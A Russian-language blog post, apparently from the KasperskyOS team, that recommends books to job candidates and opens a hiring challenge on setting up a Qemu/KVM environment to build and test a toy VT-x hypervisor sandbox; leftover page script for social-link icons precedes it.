1.5-.3.4-.2.6-.6.6-1.2s-.2-1.1-.7-1.3C9.3 8.1 8.7 8 8.1 8H5.5v3zm5.2 4c0-.7-.3-1.2-.9-1.5-.3-.2-.8-.2-1.4-.2h-3V17h2.9c.6 0 1.1-.1 1.4-.2.7-.3 1-.9 1-1.8zm13.8-2.2c.1.5.1 1.1.1 2h-7.2c0 1 .4 1.7 1 2.1.4.3.9.4 1.4.4.6 0 1.1-.1 1.4-.5.2-.2.4-.4.5-.7h2.6c-.1.6-.4 1.2-1 1.8-.9 1-2.1 1.4-3.7 1.4-1.3 0-2.5-.4-3.5-1.2-1-.8-1.5-2.1-1.5-4 0-1.7.5-3 1.4-4 .9-.9 2.1-1.4 3.5-1.4.9 0 1.6.2 2.3.5.7.3 1.3.8 1.7 1.5.6.6.8 1.3 1 2.1zm-2.7.2c0-.7-.3-1.2-.7-1.6-.4-.4-.9-.5-1.5-.5-.7 0-1.2.2-1.5.6-.4.4-.6.9-.7 1.5h4.4z"/></svg>'; } behance += '</a>'; behance += '</div>'; var vimeo = ''; vimeo += '<div class="t-review-social-links\_\_item">'; vimeo += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 256.971c13.267 0 24.023 10.755 24.023 24.023s-10.755 24.023-24.023 24.023-24.023-10.755-24.023-24.023 10.756-24.023 24.023-24.023zm-12.262 19.146l.996 1.306s2.054-1.619 2.739-.81c.685.81 3.299 10.584 4.171 12.387.761 1.581 2.862 3.672 5.166 2.179 2.302-1.493 9.959-8.03 11.329-15.749 1.369-7.717-9.213-6.1-10.335.623 2.802-1.682 4.297.683 2.863 3.362-1.431 2.676-2.739 4.421-3.424 4.421-.683 0-1.209-1.791-1.992-4.92-.81-3.236-.804-9.064-4.17-8.403-3.171.623-7.343 5.604-7.343 5.604z"/></svg>'; } else { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M2.9 16.5l1.6 2s3.2-2.5 4.3-1.3c1.1 1.3 5.2 16.5 6.5 19.3 1.2 2.5 4.5 5.7 8.1 3.4S39 27.4 41.1 15.3s-14.4-9.5-16.1 1c4.4-2.6 6.7 1.1 4.5 5.3s-4.3 6.9-5.3 6.9c-1.1 0-1.9-2.8-3.1-7.7-1.3-5.1-1.3-14.2-6.5-13.1-5.2 1-11.7 8.8-11.7 8.8z"/></svg>'; } vimeo += '</a>'; vimeo += '</div>'; var youtube = ''; youtube += '<div class="t-review-social-links\_\_item">'; youtube += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 257.013c13.248 0 23.987 10.74 23.987 23.987s-10.74 23.987-23.987 23.987-23.987-10.74-23.987-23.987 10.739-23.987 23.987-23.987zm11.815 18.08c-.25-1.337-1.363-2.335-2.642-2.458-3.054-.196-6.119-.355-9.178-.357-3.059-.002-6.113.154-9.167.347-1.284.124-2.397 1.117-2.646 2.459a40.163 40.163 0 0 0 0 11.672c.249 1.342 1.362 2.454 2.646 2.577 3.055.193 6.107.39 9.167.39 3.058 0 6.126-.172 9.178-.37 1.279-.124 2.392-1.269 2.642-2.606a39.769 39.769 0 0 0 0-11.654zm-14.591 9.342v-7.115l6.627 3.558-6.627 3.557z"/></svg>'; } else { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M43.9 15.3c-.4-3.1-2.2-5-5.3-5.3-3.6-.3-11.4-.5-15-.5-7.3 0-10.6.2-14.1.5-3.3.3-4.8 1.8-5.4 4.9-.4 2.1-.6 4.1-.6 8.9 0 4.3.2 6.9.5 9.2.4 3.1 2.5 4.8 5.7 5.1 3.6.3 10.9.5 14.4.5s11.2-.2 14.7-.6c3.1-.4 4.6-2 5.1-5.1 0 0 .5-3.3.5-9.1 0-3.3-.2-6.4-.5-8.5zM19.7 29.8V18l11.2 5.8-11.2 6z"/></svg>'; } youtube += '</a>'; youtube += '</div>'; var instagram = ''; instagram += '<div class="t-review-social-links\_\_item">'; instagram += ' <a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15 11.014a3.986 3.986 0 1 0 .001 7.971A3.986 3.986 0 0 0 15 11.014zm0 6.592A2.604 2.604 0 0 1 12.393 15 2.604 2.604 0 0 1 15 12.394 2.614 2.614 0 0 1 17.607 15 2.604 2.604 0 0 1 15 17.606zM19.385 9.556a.915.915 0 0 0-.92.921c0 .512.407.919.92.919a.914.914 0 0 0 .921-.919.916.916 0 0 0-.921-.921z"/><path d="M15.002.15C6.798.15.149 6.797.149 15c0 8.201 6.649 14.85 14.853 14.85 8.199 0 14.85-6.648 14.85-14.85 0-8.203-6.651-14.85-14.85-14.85zm7.664 18.115c0 2.423-1.979 4.401-4.416 4.401h-6.5c-2.438 0-4.417-1.979-4.417-4.386v-6.546c0-2.422 1.978-4.4 4.417-4.4h6.5c2.438 0 4.416 1.978 4.416 4.4v6.531z"/></svg>'; } else { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M16.396 3.312H8.604c-2.921 0-5.292 2.371-5.292 5.273v7.846c0 2.886 2.371 5.256 5.292 5.256h7.791c2.922 0 5.292-2.37 5.292-5.274V8.586c.001-2.903-2.37-5.274-5.291-5.274zM7.722 12.5a4.778 4.778 0 1 1 9.554 0 4.778 4.778 0 0 1-9.554 0zm10.034-4.318c-.615 0-1.104-.487-1.104-1.102s.488-1.103 1.104-1.103c.614 0 1.102.488 1.102 1.103s-.488 1.102-1.102 1.102z" /><path d="M12.5 9.376A3.12 3.12 0 0 0 9.376 12.5a3.12 3.12 0 0 0 3.124 3.124 3.12 3.12 0 0 0 3.124-3.124A3.133 3.133 0 0 0 12.5 9.376z"/></svg>'; } instagram += '</a>'; instagram += '</div>'; var pinterest = ''; pinterest += '<div class="t-review-social-links\_\_item">'; pinterest += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-407 281c0 13.254-10.746 24-23.999 24-13.257 0-24.003-10.746-24.003-24 0-13.256 10.746-24 24.003-24 13.253 0 23.999 10.744 23.999 24zm-30.628 14.811c.027.205.29.254.409.1.17-.223 2.365-2.932 3.111-5.639.211-.768 1.212-4.738 1.212-4.738.599 1.145 2.349 2.148 4.21 2.148 5.539 0 9.297-5.049 9.297-11.809 0-5.111-4.329-9.873-10.909-9.873-8.186 0-12.314 5.871-12.314 10.766 0 2.963 1.122 5.6 3.527 6.582.395.162.749.006.863-.43.08-.303.268-1.065.353-1.385.114-.432.07-.582-.248-.959-.694-.818-1.138-1.879-1.138-3.381 0-4.353 3.259-8.252 8.484-8.252 4.627 0 7.169 2.828 7.169 6.603 0 4.969-2.198 9.162-5.461 9.162-1.804 0-3.153-1.49-2.722-3.32.518-2.182 1.522-4.537 1.522-6.113 0-1.41-.758-2.588-2.324-2.588-1.843 0-3.323 1.908-3.323 4.461 0 1.627.55 2.727.55 2.727l-2.217 9.391c-.657 2.787-.099 6.203-.051 6.547z"/></svg>'; } else { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M24.9 5.5c4.2 0 7.7 1.3 10.5 3.9s4.1 5.7 4.1 9.2c0 4.6-1.2 8.4-3.5 11.3-2.3 3-5.3 4.5-8.9 4.5-1.2 0-2.3-.3-3.4-.9s-1.8-1.3-2.2-2c-.9 3.5-1.4 5.6-1.6 6.3-.7 2.4-2 4.9-4.1 7.5-.2.2-.4.2-.5-.1-.5-3.5-.5-6.4.1-8.7l2.9-12.6c-.5-.9-.7-2.1-.7-3.6 0-1.7.4-3.1 1.3-4.2s1.9-1.7 3.2-1.7c1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.4 0 .6-.1 1.4-.3 2.3-.2.9-.5 1.9-.9 3.1s-.6 2.1-.8 2.8c-.3 1.2-.1 2.2.7 3.1.7.9 1.7 1.3 3 1.3 2.1 0 3.8-1.2 5.2-3.6 1.4-2.4 2-5.3 2-8.7 0-2.6-.8-4.7-2.5-6.3-1.7-1.6-4-2.4-7-2.4-3.4 0-6.1 1.1-8.2 3.2S13 17.4 13 20.4c0 1.8.5 3.3 1.5 4.5.3.4.4.8.3 1.2 0 .1-.1.3-.2.6-.1.4-.1.6-.2.7 0 .1-.1.4-.2.6-.1.3-.3.4-.4.4h-.6c-3.1-1.3-4.7-4.2-4.7-8.7 0-3.6 1.5-6.9 4.4-9.9s7-4.3 12-4.3z"/></svg>'; } pinterest += '</a>'; pinterest += '</div>'; var linkedin = ''; linkedin += '<div class="t-review-social-links\_\_item">'; linkedin += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-615 1477 48 48" fill="' + fill + '"><path d="M-566.999 1501c0 13.256-10.746 24-24 24-13.256 0-24.002-10.744-24.002-24 0-13.254 10.746-24 24.002-24 13.254 0 24 10.746 24 24zm-38.507 13.975h6.22v-20.004h-6.22v20.004zm3.11-22.739a3.606 3.606 0 0 0 0-7.211 3.603 3.603 0 0 0-3.604 3.605 3.604 3.604 0 0 0 3.604 3.606zm26.396 11.766c0-5.387-1.163-9.529-7.454-9.529-3.023 0-5.054 1.658-5.884 3.231h-.085v-2.733h-5.964v20.004h6.216v-9.896c0-2.609.493-5.137 3.729-5.137 3.186 0 3.232 2.984 3.232 5.305v9.729h6.21v-10.974z"/></svg>'; } else { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M42.3 23.1v13.5h-7.9V24c0-3.2-1.1-5.3-4-5.3-2.2 0-3.5 1.5-4 2.9-.2.5-.3 1.2-.3 1.9v13.2h-7.9s.1-21.4 0-23.6h7.9v3.3s0 .1-.1.1h.1v-.1c1-1.6 2.9-3.9 7.1-3.9 5.2-.1 9.1 3.3 9.1 10.6zM10.1 1.6c-2.7 0-4.4 1.8-4.4 4.1S7.4 9.8 10 9.8h.1c2.7 0 4.4-1.8 4.4-4.1s-1.7-4.1-4.4-4.1zm-3.9 35H14V13H6.2v23.6z"/></svg>'; } linkedin += '</a>'; linkedin += '</div>'; var soundcloud = ''; soundcloud += '<div class="t-review-social-links\_\_item">'; soundcloud += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><defs><path id="a" d="M0 0h48v48H0V0z"/></defs><g fill-rule="evenodd"><path d="M38.206 22.171c-.635 0-1.241.129-1.793.36-.369-4.177-3.871-7.453-8.144-7.453a8.28 8.28 0 0 0-2.965.553c-.35.136-.442.275-.446.546v14.709a.545.545 0 0 0 .5.531c.013.002 12.848 0 12.848 0 2.56 0 4.634-2.051 4.634-4.611a4.634 4.634 0 0 0-4.634-4.635zM24.17 16.237a.5.5 0 0 0-.582.043.517.517 0 0 0-.189.392v.053l-.21 10.388.107 1.92.103 1.869a.514.514 0 0 0 .51.505.515.515 0 0 0 .51-.509v.004l.228-3.79-.227-10.44a.517.517 0 0 0-.25-.435zm-1.364 14.72v-.001.001-.002.002zm-.215-13.813a.47.47 0 0 0-.264-.081.486.486 0 0 0-.478.477l-.001.09-.18 9.48.181 3.847.001.016a.48.48 0 0 0 .477.458c.246 0 .248-.054.335-.14a.486.486 0 0 0 .144-.336l.02-.38.181-3.463-.201-9.573a.487.487 0 0 0-.215-.395zm-1.853 1.479a.447.447 0 0 0-.446.444l-.2 8.044.2 3.87c.005.465.2.442.446.442.245 0 .44.023.446-.444v.003l.223-3.87-.223-8.046a.447.447 0 0 0-.446-.443zm-1.577-.273a.416.416 0 0 0-.414.412l-.219 8.349.219 3.895c.005.228.187.41.414.41a.416.416 0 0 0 .413-.412v.002l.246-3.895-.246-8.35a.416.416 0 0 0-.413-.411zm-1.184 12.693v-.002.002zm0-12.5a.385.385 0 0 0-.382-.38.384.384 0 0 0-.381.38l-.238 8.567.238 3.932c.006.21.173.377.381.377a.385.385 0 0 0 .382-.378l.268-3.931-.268-8.568zm-1.935-.069a.354.354 0 0 0-.35.347l-.256 8.288.257 3.957c.006.193.16.346.35.346a.354.354 0 0 0 .349-.347v.002l.29-3.958-.29-8.288a.355.355 0 0 0-.35-.347zm-1.564.691a.322.322 0 0 0-.318.315l-.275 7.65.276 3.998a.321.321 0 0 0 .317.313c.17 0 .31-.138.317-.315v.002l.312-3.999-.312-7.65a.323.323 0 0 0-.317-.314zM12.974 20.6a.29.29 0 0 0-.285.282l-.295 6.226.295 4.023a.29.29 0 0 0 .285.281.292.292 0 0 0 .285-.282v.001l.333-4.023-.333-6.226a.292.292 0 0 0-.285-.282zm-1.264 2.678a.258.258 0 0 0-.253-.248.257.257 0 0 0-.253.25l-.314 3.826.314 4.024c.008.142.117.25.253.25a.259.259 0 0 0 .253-.25l.356-4.024-.356-3.828zm0 7.851v.001zm-1.757-8.366a.226.226 0 0 0-.221.217l-.333 4.126.333 3.99c.009.124.104.217.22.217s.21-.093.221-.216l.4-3.991-.4-4.126c-.01-.123-.105-.217-.22-.217zm-1.493.142c-.1 0-.179.078-.189.185l-.351 4.015.351 3.868c.01.108.09.185.19.185.097 0 .176-.077.188-.184l.4-3.869-.4-4.015c-.012-.107-.091-.185-.189-.185zm-2.873 1.96c-.079 0-.14.06-.151.147l-.276 2.094.276 2.056c.01.086.072.147.15.147s.14-.06.152-.147l.326-2.056-.326-2.095c-.013-.086-.074-.145-.151-.145zM6.98 23.57c-.08 0-.146.064-.157.152l-.25 3.385.25 3.308c.011.088.077.152.157.152s.144-.062.156-.152l.422-3.308-.422-3.385c-.012-.09-.077-.152-.156-.152zM48 24c0 13.255-10.745 24-24 24C10.757 48 0 37.255 0 24 0 10.757 10.757 0 24 0c13.255 0 24 10.757 24 24z"/></g></svg>'; } else { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M1.6 24.3c-.2 0-.3.1-.3.3l-.5 6.2.5 6c0 .2.2.3.3.3.2 0 .3-.1.3-.3l.6-6-.6-6.2c0-.2-.1-.3-.3-.3zm3.3 12.6zm0-11.8c0-.2-.2-.4-.4-.4s-.4.2-.4.4l-.5 5.8.5 6.1c0 .2.2.4.4.4s.4-.2.4-.4l.5-6.1-.5-5.8zm2.7-6.2c-.3 0-.5.2-.5.5l-.4 11.5.4 6c0 .3.2.5.5.5s.5-.2.5-.5l.5-6-.5-11.6c-.1-.2-.3-.4-.5-.4zm3.8-1c0-.3-.3-.6-.6-.6s-.6.3-.6.6l-.4 13 .4 5.9c0 .3.3.6.6.6s.6-.3.6-.6l.4-5.9-.4-13zm2.7.1c-.4 0-.7.3-.7.7l-.3 12.2.3 5.9c0 .4.3.7.7.7.4 0 .7-.3.7-.7l.3-5.9-.3-12.2c0-.4-.3-.7-.7-.7zm3.7-3.6c-.1-.1-.3-.1-.4-.1-.2 0-.4.1-.5.2-.2.1-.3.4-.3.6v.1l-.3 15.7.2 2.9.2 2.8c0 .4.4.8.8.8s.8-.3.8-.8l.3-5.7-.3-15.8c-.1-.3-.3-.5-.5-.7zm22.4 9c-1 0-1.9.2-2.7.5-.6-6.3-5.9-11.3-12.3-11.3-1.6 0-3.1.3-4.5.8-.5.2-.7.4-.7.8v22.2c0 .4.3.8.8.8h19.4c3.9 0 7-3.1 7-7 0-3.7-3.1-6.8-7-6.8z"/></svg>'; } soundcloud += '</a>'; soundcloud +=' </div>'; var telegram = ''; telegram += '<div class="t-review-social-links\_\_item">'; telegram += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 60 60" fill="' + fill + '"><path d="M30 0C13.4 0 0 13.4 0 30s13.4 30 30 30 30-13.4 30-30S46.6 0 30 0zm16.9 13.9l-6.7 31.5c-.1.6-.8.9-1.4.6l-10.3-6.9-5.5 5.2c-.5.4-1.2.2-1.4-.4L18 32.7l-9.5-3.9c-.7-.3-.7-1.5 0-1.8l37.1-14.1c.7-.2 1.4.3 1.3 1z"/><path d="M22.7 40.6l.6-5.8 16.8-16.3-20.2 13.3"/></svg>'; } else { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 60 60" fill="' + fill + '"><path d="M52.5 9L6.1 26.9c-.9.4-.9 1.8 0 2.3L18 34.1l4.4 14.1c.3.8 1.2 1 1.8.5l6.8-6.4L43.9 51c.7.4 1.6 0 1.7-.7l8.4-40c.2-.8-.7-1.6-1.5-1.3zm-28 27.7l-.7 7.3-3.6-11.2L45.5 16l-21 20.7z"/></svg>'; } telegram += '</a>'; telegram += '</div>'; if (item.indexOf('facebook') != -1) { socialWrapper.append(fb); } if (item.indexOf('twitter') != -1) { socialWrapper.append(twi); } if (item.indexOf('vk.com') != -1) { socialWrapper.append(vk); } if (item.indexOf('ok.ru') != -1) { socialWrapper.append(ok); } if (item.indexOf('behance') != -1) { socialWrapper.append(behance); } if (item.indexOf('vimeo') != -1) { socialWrapper.append(vimeo); } if (item.indexOf('youtube') != -1) { socialWrapper.append(youtube); } if (item.indexOf('instagram') != -1) { socialWrapper.append(instagram); } if (item.indexOf('pinterest') != -1) { socialWrapper.append(pinterest); } if (item.indexOf('linkedin') != -1) { socialWrapper.append(linkedin); } if (item.indexOf('soundcloud') != -1) { socialWrapper.append(soundcloud); } if (item.indexOf('telegram') != -1) { socialWrapper.append(telegram); } } $(document).ready(function() { t\_reviews\_social\_init('189483131'); });@media screen and (max-width: 640px){ .t525 .t-review-social-links\_\_wrapper { -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; }
} Что почитать до того, как устраиваться в команду KasperskyOS Тем читателям Хабра, кто захочет прийти к нам на собеседование, рекомендуем почитать книги, знания из которых повысят шансы на успешное трудоустройство.
Современная инженерная культура: * «Software Engineering at Google» T. Winters
* «[Site Reliability Engineering](https://landing.google.com/sre/sre-book/toc/index.html)» B. Beyer
* «How Google Tests Software» J. Whittaker
Для тех, кто хочет разрабатывать инфраструктуру: * «Designing Data-Intensive Applications» M. Kleppmann
База для новичков: * «Архитектура компьютера» Э. Таненбаум, Т. Остин
* «Современные операционные системы» Э. Таненбаум, Х. Бос
* «[Программирование на языке ассемблера NASM для ОС Unix](http://www.stolyarov.info/books/asm_unix)» А. Столяров
* «[Архитектура операционной системы UNIX](https://www.opennet.ru/docs/RUS/unix/)» M. Bach
* «[The little book about OS development](https://littleosbook.github.io/book.pdf)» E. Helin
Кое-что по Linux: * «[Linux Device Drivers](https://bootlin.com/doc/books/ldd3.pdf)» J. Corbet, A. Rubini, G. Kroah-Hartman
* «[The Linux Kernel Module Programming Guide](https://www.tldp.org/LDP/lkmpg/2.6/lkmpg.pdf)» P. Salzman
* «[Writing device drivers in Linux: A brief tutorial](http://studenti.fisica.unifi.it/~carla/manuali/linux_device_driver_tutorial.pdf)» X. Calbet
По операционным системам: * «[xv6 А simple, Unix-like teaching operating system](https://pdos.csail.mit.edu/6.828/2014/xv6/book-rev8.pdf)» R. Cox
* [Исходник xv6](https://pdos.csail.mit.edu/6.828/2014/xv6/xv6-rev8.pdf)
Исчерпывающая открытая книга по параллельному программированию: * «[Is Parallel Programming Hard, And, If So, What Can You Do About It?](https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.html)» P. McKenney
Про память, кэши и прочее: * «[What Every Programmer Should Know About Memory](https://people.freebsd.org/~lstewart/articles/cpumemory.pdf)» U. Drepper
Оптимизация на C, C++ и ассемблере для x86:
* [Software optimization resources](https://www.agner.org/optimize/)
По алгоритмам:
* «[Алгоритмы](http://www.math.nsc.ru/LBRT/k5/OR-MMF/dasgupta_2014.pdf)» С. Дасгупта
* «[Competitive Programmer's Handbook](https://cses.fi/book/book.pdf)» A. Laaksonen
Математика для программистов:
* «[Математика для программистов](https://yurichev.com/writings/Math-for-programmers.pdf)» Д. Юричев
Введение в ассемблер для ARMv8:
* [A Guide to ARM64 / AArch64 Assembly on Linux with Shellcodes and Cryptography](https://modexp.wordpress.com/2018/10/30/arm64-assembly/)
Современный C:
* «[Modern C](https://modernc.gforge.inria.fr/)» J. Gustedt
Введение в разработку бэкенда компилятора:
* «[Essentials of Compilation](https://jeapostrophe.github.io/courses/2017/spring/406/notes/book.pdf)» J. Siek
Список для разработчиков компиляторов от Квентина Карбоне:
* [Resources for Amateur Compiler Writers](https://c9x.me/compile/bib/)
Челлендж от команды KasperskyOS «Лаборатория Касперского» подготовила несколько задач для желающих войти в команду. Можно решить одну из двух задач на выбор или обе. Присылайте результаты на [careers\_feedback@kaspersky.com](mailto:careers_feedback@kaspersky.com) или заполняйте форму в конце раздела, а команда экспертов выберет самые крутые варианты и пригласит их авторов на финальное собеседование. Задача про системное программирование
Описание задачи
Sand — игрушечный sandbox, реализованный с использованием технологии VT-x. Он может запускать 32-битный код под контролем гипервизора.
Требуется внести ряд улучшений в его работу. *Замечание:* *руководство по настройке рабочего окружения использует материалы из [статьи](http://ncmiller.github.io/2016/05/14/linux-and-qemu.html).* Рабочее окружение
Для тестирования гипервизора потребуется компьютер с поддержкой технологии аппаратной виртуализации VT-x и расширением EPT.
Предполагается, что на компьютере установлена операционная система GNU/Linux, а в ядро Linux загружены модули kvm и kvm\_intel. *Замечание: п**роверить, поддерживаются ли процессором необходимые расширения, можно, просмотрев содержимое файла /proc/cpuinfo. В поле flags должны встречаться значения vmx и ept. Также нужно убедиться, что в KVM включена вложенная виртуализация. Это можно сделать, прочитав специальный файл /sys/module/kvm\_intel/parameters/nested. Если опция включена, вы увидите значение Y. Если опция выключена, включить ее можно, перезагрузив модуль командой: modprobe -r kvm\_intel; modprobe kvm\_intel nested=1.*
Так как гипервизор — модуль ядра, тестировать его на рабочей машине непосредственно может быть плохой идеей. Поэтому для экспериментов будет использоваться Qemu/KVM. Создадим минимальную сборку системы GNU/Linux для запуска в Qemu, а модуль ядра будем линковать в ядро гостевой Linux.
Для сборки ядра потребуется установить несколько дополнительных пакетов. *Замечание: данная инструкция описывает создание рабочего окружения длядистрибутива Ubuntu, но использование Ubuntu не является обязательным. Для других дистрибутивов процедура настройки рабочего окружения будет аналогичной.*
Потребуются следующие пакеты:
```
ncurses-dev build-essential libssl-dev libelf-dev
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } *Замечание: возможно, при сборке выяснится, что упущены еще какие-то зависимости. Тогда требуемые пакеты также следует установить.*
* Создадим папку sand в удобном месте на файловой системе.
* В папке sand создадим подкаталоги build и source.
* Скачаем архив с исходным кодом ядра Linux версии 5.5.11 с сайта kernel.org в sand/source и разархивируем.
* Скачаем архив с исходным кодом свежего busybox c сайта busybox.net в sand/source и разархивируем.
* Создадим в папке sand/build подкаталоги linux-5.5.11 и busybox-1.31.1.
* Находясь в папке sand, запомним положение на файловой системе в переменную окружения PROJ=`pwd`.
* Перейдем в каталог sand/source/linux-5.5.11 и сконфигурируем сборку:
```
make O=$PROJ/build/linux-5.5.11 x86_64_defconfig
make O=$PROJ/build/linux-5.5.11 kvmconfig
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Соберем ядро, параметр -j зависит от количества ядер в системе, не переборщите:
```
make O=$PROJ/build/linux-5.5.11 -j4
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Перейдем в каталог sand/source/busybox-1.31.1 и сконфигурируем сборку:
```
make O=$PROJ/build/busybox-1.31.1 defconfig
make O=$PROJ/build/busybox-1.31.1 menuconfig
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } Надо включить опцию «Build BusyBox as a static binary» в Busybox Settings, опцию можно найти через поиск Kbuild (введите '/', как в vi). * Соберем busybox, для этого перейдем в sand/build/busybox-1.31.1 и введем:
```
make -j4
make install
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Создадим минимальную файловую систему, для этого создадим папку sand/build/initramfs и перейдем в нее.
* Введем следующие команды:
```
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
cp -av $PROJ/build/busybox-1.31.1/_install/*
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Создадим init-скрипт:
```
touch init
chmod +x init
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Введем в него следующий код:
```
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
echo -e "Hello, Mr. Sandman!\n"
exec /bin/sh
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Соберем initramfs:
```
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $PROJ/build/initramfs.cpio.gz
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } * Проверим, что система работает, запустим ее в qemu следующей командой из каталога sand:
```
qemu-system-x86_64 \
-kernel build/linux-5.5.11/arch/x86_64/boot/bzImage \
-initrd build/initramfs.cpio.gz \
-nographic -append "console=ttyS0" \
-cpu host \
-machine q35 \
-enable-kvm
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } *Замечание: в**ыйти из терминала Qemu можно, нажав Ctrl+A, C и следомq,Enter.*
Работа над задачей
Перейдем в sand/source/linux-5.5.11 и наложим патч 0001-Introduce-skeleton-of-VTX-sandbox.patch (кнопка для скачивания ниже).
[Скачать файл](https://drive.google.com/file/d/1KYvuAOSrFyQTmJFLi_kBAqP9uM0AUV36) Изменения будем делать в каталоге sand/source/linux-5.5.11/drivers/misc/sand, а сборку будем запускать в sand/build/linux-5.5.11, вызывая make.
Для начала соберем утилиту sandctl, которая понадобится для работы на initramfs. Перейдем в sand/source/linux-5.5.11/drivers/misc/sand и выполним команды.
```
gcc sandctl.c -o sandctl -static
cp sandctl $PROJ/build/initramfs/usr/bin
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $PROJ/build/initramfs.cpio.gz
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } Пересоберем ядро после наложения патча, для этого, находясь в каталоге sand/build/linux-5.5.11, выполним:
```
make -j4
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } Запустим Qemu, чтобы проверить, что все работает. Команда уже указывалась выше.
В гостевой сессии вызовем команду:
```
sandctl 0x83 0xC0 0x01 0xF4
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } Вывод должен быть примерно таким:
```
Will run the following code: 83 C0 1 F4
[ 50.113457] sand: Going to run 4 bytes of code
[ 50.114073] sand: Pin based exec control: 1f
[ 50.114568] sand: Cpu based VM exec control: 40061f2
[ 50.115155] sand: VM exit controls: 36ffb
[ 50.115617] sand: VM entry controls: 11fb
[ 50.116133] sand: VM Exit Reason c
[ 50.116550] sand: ip: 1003
Finished sandbox properly, state:
eax = 1
ebx = 0
ecx = 0
edx = 0
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } 0x83 0xC0 0x01 0xF4 — программа, прибавляющая 1 к содержимому регистра eax и вызывающая инструкцию HLT. Как результат, мы видим в eax виртуального процессора единицу после исполнения. Мы также видим, что регистр eip виртуальной машины сместился на 3 от точки входа 0x1000. А выход из виртуальной машины произошел из-за инструкции HLT (VM Exit Reason c).
Теперь все готово, чтобы приступить к решению задач.
Важные ограничения и дополнения
На гостевой код накладываются следующие ограничения:
1. Код может использовать для хранения состояния только регистры и стек (растет с адреса 4096 вниз).
2. Код не должен переходить по адресам ниже 4096 (там расположен стек) и выше 8192, там память не отображена.
3. Длина кода не может превышать 4096 байт.
Код запускается при помощи утилиты sandctl, ей в качестве аргумента передается последовательность из байт в HEX-кодах. Это код, который требуется запустить.
Перед началом выполнения регистровое состояние sandbox сбрасывается в нуль. В случае успешного исполнения кода под контролем гипервизора sandctl выводит
финальное состояние регистров eax, ebx, ecx и edx. Sandctl обращается к драйверу sand, который и реализует функциональность
гипервизора. Обращение происходит через вызов IOCTL misc-устройства /dev/sand. Задания
